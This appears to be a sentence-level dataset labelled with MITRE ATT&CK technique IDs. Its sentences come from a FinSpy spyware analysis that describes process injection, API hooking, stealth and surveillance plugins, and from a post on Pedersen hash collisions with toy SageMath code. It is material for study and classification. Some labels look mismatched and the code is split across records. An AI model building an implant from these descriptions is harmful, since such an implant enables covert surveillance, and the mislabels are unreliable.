{"sentence": "Once initialized, the Orchestrator launches its following components, which we will detail below: The application watcher that looks for specific processes and notifies the C2 server when they are started or stopped The ProcessWorm injector that injects the ProcessWorm into processes that are not infected with this component The recording manager thread that controls data to be exfiltrated to the C2 server The C2 server communicator thread.", "labels": ["T1041", "T1055", "T1057"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The application watcher The application watcher regularly examines all the processes on the system, looking for applications specified in the Orchestrator configuration.", "labels": ["T1057"], "doc_title": "FinSpy unseen findings"}
{"sentence": "When it detects a starting first (or a stopping last) instance of a process from the list in the configuration, an appropriate event will be reported to the C2 server during heartbeat time.", "labels": ["T1057"], "doc_title": "FinSpy unseen findings"}
{"sentence": "It is notable that the application watcher acquires handles for all running processes on the system, which results in either winlogon.exe or explorer.exe obtaining numerous process handles.", "labels": ["T1057"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Process handles acquired by explorer.exe on a clean system (left) and on an infected system with the Orchestrator residing inside the explorer.exe process (right)", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The ProcessWorm injector The ProcessWorm injector thread ensures that the ProcessWorm is running in every process which can be accessed by the Orchestrator.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Just like the application watcher, the injector regularly obtains the list of running processes.", "labels": ["T1057"], "doc_title": "FinSpy unseen findings"}
{"sentence": "For every process, it verifies whether the ProcessWorm is running inside it and injects the ProcessWorm if needed.", "labels": ["T1055"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The recording manager Over the course of their execution, plugins may save recording files in the working directory (e.g. keylogs, screenshots or printed files).", "labels": ["T1056.001", "T1074.001", "T1113"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The recording manager is tasked with two duties: Periodically checking whether there are recording files available to be sent to the C2 server Preparing recording files to be uploaded when their download is requested by the C2 server.", "labels": ["T1041"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Every recording file stored in the working directory has the following name format: <plugin prefix><recording type prefix><five-digit random number>.<extension> The plugin prefix, the extension and the recording type prefix depend on the ID of the plugin that created the recording.", "labels": ["T1074.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Orchestrator has arrays which converts IDs to prefixes and extensions.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Possible plugin prefixes: auth, avi, cert, crt, com, mem, sxs, msvc, dmem, mtx, net, nls, odbc, ole, pnp, ssl, win, vm, vsc, ntos, user, run, cvs, cvg, con, ssy Recording type prefixes: inf, sys, doc, mem, vmx, net, run, dat, dll.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Filename extensions used: doc, vmx, net, xls, zip.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The C2 server communication thread This thread is responsible for maintaining communication with the C2 server.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "In particular, it contacts the C2 server, sends heartbeats messages and receives commands.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The thread dispatches received commands to plugins and sends their execution results back to the server.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Below is a list of the Orchestrator commands: Command ID Description Commands related to recordings 0x8072A0 Upload a recording file with a specified name to the C2 server.", "labels": ["T1041"], "doc_title": "FinSpy unseen findings"}
{"sentence": "0x8076A0, 0x807AA0 Delete a recording with a given filename from the system.", "labels": ["T1070.004"], "doc_title": "FinSpy unseen findings"}
{"sentence": "0x8078A0 Retrieve the list of all the recordings present on the victim machine.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "0x8070A0 Retrieve the list of recordings made by a plugin with the specified ID.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Commands related to the configuration 0x8030A0 Send the current configuration to the server.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "0x8032A0 Change the Orchestrator configuration.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Commands related to plugins 0x8009A0 Send a list of installed plugins to the server. 0x8054A0, 0x805BA0", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Commence the plugin installation process by creating a temporary file in the working directory.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "0x8056A0, 0x805DA0 Append a plugin body chunk to the temporary plugin file created by the previous command. 0x8057A0, 0x805EA0 Finalize the plugin installation process.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "This command moves the contents of the temporary file to the virtual file system and loads the new plugin.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "0x8059A0 Uninstall a plugin from the machine.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "This command unloads the specified plugin and removes it from the VFS.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Miscellaneous commands 0x8018A0", "labels": ["T1070.004"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Uninstall the backdoor.", "labels": ["T1070.004"], "doc_title": "FinSpy unseen findings"}
{"sentence": "This command wipes all the files and registry keys created by the backdoor, as well as restores the MBR and the EFI Windows Boot Manager (provided they were infected) from backups.", "labels": ["T1070.004"], "doc_title": "FinSpy unseen findings"}
{"sentence": "0x807DA0 Close the current C2 server connection.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "0x7502A0 Terminate all livestreams.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Communicator module The malware configuration includes one or multiple C2 servers which it can connect to.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "In case one of the servers is down, the backdoor uses one of the fallback addresses.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "FinSpy does not communicate with C2 servers directly from winlogon.exe or explorer.exe.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Instead, it spawns a default browser process with a hidden window and injects the Communicator module in it.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "This is done to make communications look legitimate.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Virtual File System component The Virtual File System is the place where all the plugin executables and their configurations hide.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "All the virtual files are stored in a single “real” file, which is encrypted with RC4 and has the following structure: File offset Description 0x0 CRC32 checksum of the file (the checksum computation starts from offset 4) VFS entry #1 0x4 ID of the plugin corresponding to the file.", "labels": ["T1573.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Orchestrator configuration is stored on the VFS with ID 0xFFFFFFFE.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "0x8 0x0 if the file is a plugin configuration, 0x2 if it is a plugin executable.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "0xC File size.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "0x10 File size again.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "0x14 File body bytes.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "VFS entry #2 … The last VFS entry has the ID equal to 0xFFFFFFFF and zero size.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "It serves as the VFS end marker.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "EndOfFile – 0x10 0xFFFFFFFF EndOfFile – 0xC 0x0 EndOfFile – 0x8 0x0 EndOfFile – 0x4 0x0", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The VFS is accessed via file management functions hooked by the Orchestrator.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "For example, virtual files can be created or opened via the hooked CreateFileW API.", "labels": ["T1106"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The return value of the hooked file creation function is a VFS handle, which is a number of the format 0xFF000XXX.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The ProcessWorm", "labels": ["T1055"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The malware injects the ProcessWorm into all processes running on the system.", "labels": ["T1055"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Its main purpose is to extract specific information about running processes and send it to the Orchestrator or the plugins.", "labels": ["T1057"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The ProcessWorm is a DLL wrapped in a shellcode and obfuscated with FinSpy VM.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The ProcessWorm can be injected to processes in two ways – either by spawning a remote thread with the shellcode or by creating an APC (Asynchronous Procedure Call) with the procedure address pointing to the start of the shellcode.", "labels": ["T1055"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The latter one is used when the ProcessWorm is injected into newly created processes.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The loader code behaves differently depending on the chosen injection type.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "While the loader used with the first injection method is simple, the one invoked in case of APC injections is rather interesting.", "labels": ["T1055"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The asynchronous procedure places a hook on the NtTestAlert function and then exits.", "labels": ["T1055", "T1106"], "doc_title": "FinSpy unseen findings"}
{"sentence": "When the process executable is loaded, ntdll.dll will call the NtTestAlert function.", "labels": ["T1106"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Its modified version will first call the original NtTestAlert function and then invoke the ProcessWorm reflective loader.", "labels": ["T1106"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The ProcessWorm reflective loader comes with a twist.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "When it processes imports, it does not assign a function pointer to each entry in the IAT.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Instead, IAT entries point to buffers of randomly generated junk code.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "This code obtains the address of the destination API function by XOR-ing two numbers and then jumps to it.", "labels": ["T1106"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Example of junk code created by the ProcessWorm loader, useful instructions are highlighted in yellow While executing its worm-like activity, the ProcessWorm injects itself into processes created by the process that are already infected with this component.", "labels": ["T1027", "T1055"], "doc_title": "FinSpy unseen findings"}
{"sentence": "To do that, it places a hook on the CreateProcessInternalW API function.", "labels": ["T1106"], "doc_title": "FinSpy unseen findings"}
{"sentence": "If the new process is not created with a DEBUG_PROCESS or a DEBUG_ONLY_THIS_PROCESS flag, the hooked process creation function clears a possible hook of the NtQueueAPCThread function and then uses it to create an APC procedure in the new process.", "labels": ["T1055", "T1106"], "doc_title": "FinSpy unseen findings"}
{"sentence": "When the new process starts up, the ProcessWorm will be loaded with the help of the APC injection loader.", "labels": ["T1055"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Depending on the malware configuration, the ProcessWorm may hide the presence of FinSpy on the victim machine.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "It can conceal the malware’s working directory, services, registry keys, C2 server addresses, as well as filter out event logs related to the malicious activity.", "labels": ["T1074.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The ProcessWorm achieves stealth by hooking low-level API functions (such as NtEnumerateValueKey or NtQuerySystemInformation)", "labels": ["T1106"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The rest of the malicious activity is dispersed across hooks of various WinAPI functions.", "labels": ["T1106"], "doc_title": "FinSpy unseen findings"}
{"sentence": "They are placed in order to provide information to the plugins bundled with the malware.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Examples of such information are typed keystrokes or documents sent to the printer.", "labels": ["T1005", "T1056.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The macOS and Linux Orchestrator The macOS/Linux orchestrator is a simplified version of the Windows orchestrator.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Unlike the Windows version, it does have the following components: The Virtual File System (plugins and configurations are stored in separate files)", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The ProcessWorm (its functionality is embedded into plugins)", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The communicator module (the Orchestrator exchanges data with C2 servers without additional modules)", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The application watcher (the Orchestrator does not report started or stopped processes to C2 servers) The functionalities of the Orchestrator remain the same: exchanging information with the C2 server, dispatching commands to plugins and managing recording files.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Plugins overview In the chart below we summarize information about plugins.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Plugin type and ID Features FileManager (0x02) Upload, download, search, delete files.", "labels": ["T1070.004", "T1083", "T1105"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Create file listing recordings CommandShell (0x04) Create remote shell sessions TaskScheduler (0x05) Create different types of recordings (file listings, microphone, screen, webcam) at a specified time by dispatching commands to appropriate plugins MicRecorder (0x10) Livestream the victim’s microphone or capture its recordings.", "labels": ["T1083", "T1113"], "doc_title": "FinSpy unseen findings"}
{"sentence": "KeyLogger (0x12) Livestream or record keystrokes SkypeStealer (0x14)", "labels": ["T1056.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Intercept Skype contacts, chats, calls and transferred files FileModificationRecorder (0x16) Record files which have been modified FileAccessRecorder (0x17) Record files which have been accessed PrintedFilesRecorder (0x18) Steal files which are printed by the victim FileDeletionRecorder (0x19) Record removed files ForensicLauncher (0x20) Gather forensic data by downloading and executing specific utilities.", "labels": ["T1005", "T1105"], "doc_title": "FinSpy unseen findings"}
{"sentence": "(Windows only) VoIPRecorder, VoIPLite (0x21, 0x26) Eavesdrop on, and take screenshots during, online conversations.", "labels": ["T1113"], "doc_title": "FinSpy unseen findings"}
{"sentence": "(Windows only) ClickRecorder (0x22) Capture the screen area around mouse click locations WebcamRecorder (0x23) Take webcam images with a specified frame rate, and livestream or record them.", "labels": ["T1113"], "doc_title": "FinSpy unseen findings"}
{"sentence": "ScreenRecorder (0x24) Take screenshots with a specified frame rate, and livestream or record them.", "labels": ["T1113"], "doc_title": "FinSpy unseen findings"}
{"sentence": "BlackberryInfect (0x25) Infect Blackberry mobile devices with a malicious application.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "(Windows only) EmailRecorder (0x27) Steal email from Thunderbird, Outlook, Apple Mail and Icedove WiFiRecorder (0x28)", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Monitor available Wi-Fi networks RemovableRecorder (0x29) Record files on inserted removable media CryptoKeyRecorder (0x30) Capture encryption keys: SSL keys, S/MIME certificates, GPG/PGP keychains along with their passphrases.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "(Windows only)", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "IoCs The following IoC list is not complete.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "If you want more information about the APT discussed here, a full IoC list and YARA rules are available to customers of Kaspersky Threat Intelligence Reports.", "labels": [], "doc_title": "FinSpy unseen findings"}
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{"sentence": "The Pedersen hash function has gained popularity due to its efficiency in the arithmetic circuits used in zero-knowledge proof systems.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Hash functions are a crucial primitive in cryptography, and zero-knowledge proof systems often make heavy use of them, for example when computing Merkle tree roots and paths.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Instead of being based on complex bit-fiddling operations like its standard counterparts (of the SHA or BLAKE families, for example), the Pedersen hash is an algebraic hash function that is simply computed as a linear combination of points on an elliptic curve.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "They are therefore fairly efficient to compute in zero-knowledge circuits since their computations relies on field arithmetic, contrarily to the more traditional hash functions that have no convenient mathematical structure.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Based on foundational work from the early 1990s that also led to the formalization of commitment schemes (see for example [CHP91] and [Ped91]), the (originally-named) PedersenHash function was recently put in the spotlight when Zcash researchers Sean Bowe and Daira Hopwood developed specific optimizations for its efficient instantiation in zk-SNARK circuits", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "[Zcash].", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "However, even though the security of the Pedersen hash function is well-understood (since it relies on the assumed hardness of the discrete logarithm problem), a few easily-overlooked subtleties in its definition have the potential to invalidate its security guarantees and thus completely break the security of the systems based on it.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "In this blog post, we start by describing the Pedersen hash function, the security guarantees it provides and some of the underlying assumptions it relies on.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "We then show how some of the security properties can be broken when the requirements are not met.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "The definition and the different attacks are accompanied by a toy example to illustrate the various concepts more concretely.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Table of Contents Table of ContentsDefinitionSecurity Properties and RequirementsOptimizationsVulnerability 1: Non-unique x-coordinateVulnerability 2: Related GeneratorsVulnerability 3: Variable-length InputConclusionAcknowledgementsReferences Definition Let M be the message that we wish to hash (represented as a bit string of fixed length k ⋅ r), and let G1, G2, …, Gk be generators of the prime-order subgroup of our chosen elliptic curve group.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "These generators must be sampled uniformly at random, such that no relationship between them is known.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Split the message M into k chunks of r bits each: M = M1M2 … Mk.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "The Pedersen hash is defined as the linear combination of the points with the encoding of the message chunks: H(M) = H(M1M2 … Mk )", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "= ⟨M1⟩ ⋅", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "G1 + ⟨M2⟩ ⋅ G2 + … + ⟨Mk⟩", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Gk Where the function ⟨⋅⟩, commonly referred to as the encoding function, converts a bit string into a scalar element (for our purpose, scalar can be interpreted as an integer less than the subgroup order).", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Note that the output of the hash function defined above is a point on the curve.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "In practice, the desired output may be a field element, in which case a single coordinate of the resulting point is often used as the hash.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Toy Example:", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Pedersen Hash DefinitionWe illustrate the Pedersen Hash function and its security properties and requirements using a toy example, with accompanying code in SageMath.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "We use an elliptic curve with a prime group order, which is insecure by cryptographic standards due to the prime being small.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "We select the elliptic curve defined by the curve equation y2 = x3 + x + 42, defined over the finite field of size 127.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "The group of points on this curve has order 139, which is prime.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "We pick two generators of this group, G1 = E(1, 60) and G2 = E(2, 59).", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Our toy hash function computes the Pedersen hash as followsH(M) = H(M1 M2) = ⟨M1⟩ ⋠G1 +", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "⟨M2⟩ ⋠G2Initially, we restrict our message length to be 12 bits, such that the individual message chunks M1 and M2 are 6 bits each.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Additionally, we need to select an encoding function, mapping 6-bit chunks into a scalar.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "As a first attempt, let us simply interpret the 6-bit value as an integer encoded in little-endian bits, resulting in an integer in the range {0, 63}.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "We refer to this encoding as the “identity” encoding (IdentityEncode() in the code below).The following code excerpt first specifies the chosen elliptic curve, picks two generators and defines a few helper functions before defining the GenericPedersenHash() function.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "# First we pick an elliptic curve with prime order: F = GF(127) E = EllipticCurve(F, [F(1), F(42)]) assert E.order().is_prime() print(f\"{E} with order {E.order()}\") # Elliptic Curve defined by y^2 = x^3", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "x + 42 over Finite Field of size 127 with order", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "139 # We pick two generators.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "As the curve has prime order, all non-identity points # are generators G1 = E(1, 60) G2 = E(2, 59)", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "GENERATORS =", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "[G1, G2] def IdentityEncode(lebs): \"\"\" Encodes a binary string (assumed to be in little-endian bit order) to an integer \"\"\" return int(lebs[::-1], 2) def EncodeMessage(msg, encode_function): \"\"\" Helper function which encodes a message given a variable encode function \"\"\" return [encode_function(x) for x in msg] def GenericPedersenHash(generators, encoded_chunks): \"\"\" Helper function for computing the Pedersen hash of a message The hash is computed as a linear combination of of the generators with (already encoded) chunks used as scalar multiples \"\"\" assert len(generators)", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "== len(encoded_chunks), \"Incompatible lengths\" res = E(0) for chunk, generator in zip(encoded_chunks, generators): res += chunk * generator return res def PedersenHash(message, encode_function=IdentityEncode, generators=GENERATORS): \"\"\" Computes the Pedersen hash of a message Input: a message Output: the Pedersen Hash of the message Optional: encode_function: the encoding function to break a message into integers generators: elements G ∈ E which generate E \"\"\" encoded_message = EncodeMessage(message, encode_function) return GenericPedersenHash(generators, encoded_message) Using the above, the code then showcases how the message [\"010101\", \"000111\"] is hashed, resulting in the point (3, 31).", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "# ============================ # # Example of Pedersen Hash # # ============================ # message =", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "[\"010101\", \"000111\"]", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "# M =", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "[42, 56] H = PedersenHash(message) print(f\"Hash of {message} = {H}\")", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "# Hash of ['010101', '000111'] = (3 : 31 : 1) #", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "We check that the Pedersen hash of the message is equivalent to computing # the linear combination of the generator points and the integers representations # of the message chunks assert H == 42 * G1", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "+ 56 * G2 Security Properties and Requirements The Pedersen Hash function is collision-resistant for fixed-length input, provided the underlying encoding function is injective.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "This security property and the definition of the hash function presented above have a few subtleties, which we now explore in more depth.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "The first caveat is that the hash function is not collision-resistant for variable-length inputs.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "It is also distinguishable from a random oracle and as such this function should not be used as a pseudorandom function (PRF).", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "A second important aspect is that in order for this hash function to provide the desired security properties (namely, collision-resistance), it is necessary for the underlying encoding function to be injective.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Recall that the property of an injective function is that it maps distinct elements of its domain to distinct elements of its codomain.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "In the context of the encoding function ⟨⋅⟩, this means that there are no two different message chunks Mi and Mj that result in the same encoded output, see the illustration below.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "The encoding function maps bit strings to scalars.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "In the toy example above, we have seen an example of a simple encoding function where the bit strings were interpreted in little-endian as integers and therefore was clearly injective (within the parameters of our example).", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "But even with the simple encoding function used in the toy example, care should be taken to ensure that the allowed size of the message we hash is bounded.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Indeed, if we allowed larger bit strings to be hashed (such that their encoding is larger than the subgroup order), it would be easy for an attacker to compute collisions.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "This is because for any point in the subgroup, multiplication by the subgroup order, call it r, yields the point-at-infinity; that is r ⋅ G = 0.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Thus, multiplying the point G by a scalar a produces the same result as multiplying G by a + k ⋅ r, for any value of k, since (a + k ⋅ r) ⋅ G = a ⋅ G + k ⋅ r ⋅ G = a ⋅ G + k ⋅ 0 = a ⋅ G The example below illustrates how hashing messages larger than the expected size may lead to collisions.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Toy Example: Collisions Since the subgroup order is 139, adding this quantity (or multiples of it) to the scalar factors of the linear combination performed by the Pedersen hash function results in the same hash output.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Equivalently, computing the binary representation of these quantities and hashing them using our toy Pedersen hash function also results in a collision, as shown in the code snippet below.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Notice that the colliding message chunks are larger than 6 bits, further demonstrating that the function is not collision-resistant for variable-length inputs.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "# Since the subgroup order is 139, adding this quantity (or multiples of it) # to the scalar factors of the linear combination computation performed by # the Pedersen hash function results in the same hash output, as can be seen below.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "H2 = (42 + 139) *", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "G1 + (56 + 2 * 139)", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "* G2 assert H == H2 colliding_message =", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "[\"10101101\", \"011100101\"] # Ensures encoding colliding_message results in the integers # used explicitly above assert EncodeMessage(colliding_message, IdentityEncode)", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "[42 + 139, 56 + 2 * 139] H3 = PedersenHash(colliding_message) assert H == H3 Recall that the output of the hash function is a point on the curve.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "When implementations require this output to be a field element, they sometimes extract the first coordinate of the resulting curve point, which they use as the output of the hash function.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Crucially, this process can also lead to collisions.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Indeed, when using a Weierstrass curve with affine coordinates, the negation of a point P = (x, y) is -P = (x, -y).", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Thus, when computing the Pedersen hash and taking only the first coordinate as a result, there is a natural collision, namely the negation of the point.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "It is important to ensure that the encoding process followed by the scalar multiplication cannot produce two points that have the same coordinate extracted as output.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "For example, if using affine coordinates and a curve equation in Weierstrass form, one must ensure that the function cannot produce both P and -P if only the x-coordinate is outputted.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Finally, another important requirement of the Pedersen hash function is that the various generators have to be sampled uniformly at random.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Specifically, the discrete logarithm of any generator with respect to another one should not be known, not even to the protocol designers.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Implementers traditionally use hash-to-curve algorithms (a process which does not reveal the discrete logarithm of the output point) and nothing-up-my-sleeve numbers, to prove that the inputs to the hash-to-curve process were selected honestly.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Odd-looking sets of generators or opaqueness in the generation process could be indicative of a backdoor.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Optimizations In practice, implementations typically use slightly more complex procedures to encode bit strings to scalar.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "In doing so, they are able to compute point multiplications in a more efficient way, though special care needs to be taken to ensure the resulting encoding function is injective, as discussed in the previous section.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "The simple Pedersen Hash function presented so far can be significantly sped up in the specific contexts used by zero-knowledge proof systems.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Since the generators are fixed (and known ahead of time), a method called windowed scalar multiplication can be used to more efficiently perform the multiplication by pre-computing and storing successive powers of the generators.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Windowed scalar multiplication leverages the simple observation that the multiplication of a curve point by a large scalar can be decomposed.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "For example, assume our scalar is a 6-bit value b = b0b1b2b3b4b5, and we wish to compute the scalar multiplication b ⋅", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
